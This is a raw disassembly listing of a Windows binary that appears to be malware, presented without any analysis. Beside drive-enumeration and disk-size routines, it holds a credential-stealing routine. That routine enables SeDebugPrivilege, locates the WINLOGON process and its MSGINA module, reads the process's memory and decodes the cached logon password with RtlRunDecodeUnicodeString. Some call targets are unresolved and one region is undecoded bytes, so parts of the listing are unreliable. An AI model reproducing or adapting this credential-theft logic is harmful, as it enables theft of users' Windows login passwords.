push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376A4 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2651D2Ah nop cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 329471E8h, 75C08502h dd 0FC75FF8Fh, 9172E890h, 75FF0231h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0EBE89056h, 85023293h, 56B175C0h, 90EEE890h dd 458B0231h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2690AC8h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 2770410h pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 2780000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 2780000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 267020Dh nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27A021Dh push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 2790C39h nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 2740000h nop test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 273080Ch nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2780000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 2651957h pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 267020Dh test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27A021Dh mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 2790C39h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 2790000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27A0000h nop test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2780000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 2651957h nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2651957h push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2790000h mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2780000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; 